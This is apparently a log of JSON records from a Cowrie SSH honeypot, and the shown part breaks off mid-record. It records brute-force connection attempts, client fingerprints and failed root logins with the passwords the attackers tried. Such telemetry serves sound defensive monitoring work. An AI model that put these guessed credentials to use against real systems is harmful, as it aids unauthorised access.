{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":48478,"dst_ip":"10.17.0.5","dst_port":22,"session":"222f4a76b6ec","protocol":"ssh","message":"New connection: 154.70.102.114:48478 (10.17.0.5:22) [session: 222f4a76b6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:10.729282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:10.736394Z","src_ip":"154.70.102.114","session":"222f4a76b6ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:10.943881Z","src_ip":"154.70.102.114","session":"222f4a76b6ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"milestone","message":"login attempt [root/milestone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:11.796856Z","src_ip":"154.70.102.114","session":"222f4a76b6ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:13.006340Z","src_ip":"154.70.102.114","session":"222f4a76b6ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":57128,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc8a71e59f4","protocol":"ssh","message":"New connection: 43.128.106.207:57128 (159.203.135.109:22) [session: 4cc8a71e59f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:29.864511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:29.869799Z","src_ip":"43.128.106.207","session":"4cc8a71e59f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:30.107121Z","src_ip":"43.128.106.207","session":"4cc8a71e59f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenyong","message":"login attempt [root/chenyong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:31.085900Z","src_ip":"43.128.106.207","session":"4cc8a71e59f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:32.326770Z","src_ip":"43.128.106.207","session":"4cc8a71e59f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":58312,"dst_ip":"10.17.0.5","dst_port":22,"session":"1defc3f58b81","protocol":"ssh","message":"New connection: 103.96.74.162:58312 (10.17.0.5:22) [session: 1defc3f58b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:36.556352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:36.560783Z","src_ip":"103.96.74.162","session":"1defc3f58b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:36.825848Z","src_ip":"103.96.74.162","session":"1defc3f58b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bill","message":"login attempt [root/bill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:37.562243Z","src_ip":"103.96.74.162","session":"1defc3f58b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:38.826928Z","src_ip":"103.96.74.162","session":"1defc3f58b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":56620,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb62e906166f","protocol":"ssh","message":"New connection: 217.154.42.110:56620 (159.203.135.109:22) [session: bb62e906166f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:39.052639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:39.057731Z","src_ip":"217.154.42.110","session":"bb62e906166f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:39.145610Z","src_ip":"217.154.42.110","session":"bb62e906166f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1902","message":"login attempt [root/1902] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:39.499985Z","src_ip":"217.154.42.110","session":"bb62e906166f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:40.582889Z","src_ip":"217.154.42.110","session":"bb62e906166f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":58686,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca5b2d3870c","protocol":"ssh","message":"New connection: 154.70.102.114:58686 (10.17.0.5:22) [session: 4ca5b2d3870c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:44.126580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:44.131812Z","src_ip":"154.70.102.114","session":"4ca5b2d3870c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:44.337857Z","src_ip":"154.70.102.114","session":"4ca5b2d3870c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123mudar","message":"login attempt [root/123mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:45.194013Z","src_ip":"154.70.102.114","session":"4ca5b2d3870c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:46.402614Z","src_ip":"154.70.102.114","session":"4ca5b2d3870c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":45360,"dst_ip":"159.203.135.109","dst_port":22,"session":"acbfc6206f80","protocol":"ssh","message":"New connection: 43.134.112.237:45360 (159.203.135.109:22) [session: acbfc6206f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:48.532312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:48.537777Z","src_ip":"43.134.112.237","session":"acbfc6206f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:48.783807Z","src_ip":"43.134.112.237","session":"acbfc6206f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"young","message":"login attempt [root/young] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:49.794764Z","src_ip":"43.134.112.237","session":"acbfc6206f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:51.043222Z","src_ip":"43.134.112.237","session":"acbfc6206f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57100,"dst_ip":"159.203.135.109","dst_port":22,"session":"bee2dc443269","protocol":"ssh","message":"New connection: 193.32.162.151:57100 (159.203.135.109:22) [session: bee2dc443269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:52.718304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:52.723419Z","src_ip":"193.32.162.151","session":"bee2dc443269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":57592,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbec55f4e6c3","protocol":"ssh","message":"New connection: 43.134.104.184:57592 (159.203.135.109:22) [session: fbec55f4e6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:52.728415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:52.733155Z","src_ip":"43.134.104.184","session":"fbec55f4e6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:52.827947Z","src_ip":"193.32.162.151","session":"bee2dc443269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:52.978957Z","src_ip":"43.134.104.184","session":"fbec55f4e6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"password","message":"login attempt [hduser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:53.132414Z","src_ip":"193.32.162.151","session":"bee2dc443269","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dagger","message":"login attempt [root/dagger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:53.993791Z","src_ip":"43.134.104.184","session":"fbec55f4e6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:54.241096Z","src_ip":"193.32.162.151","session":"bee2dc443269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:55.242895Z","src_ip":"43.134.104.184","session":"fbec55f4e6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":52750,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f48e6be444","protocol":"ssh","message":"New connection: 185.40.30.168:52750 (10.17.0.5:22) [session: a6f48e6be444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:56.441430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:56.446311Z","src_ip":"185.40.30.168","session":"a6f48e6be444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 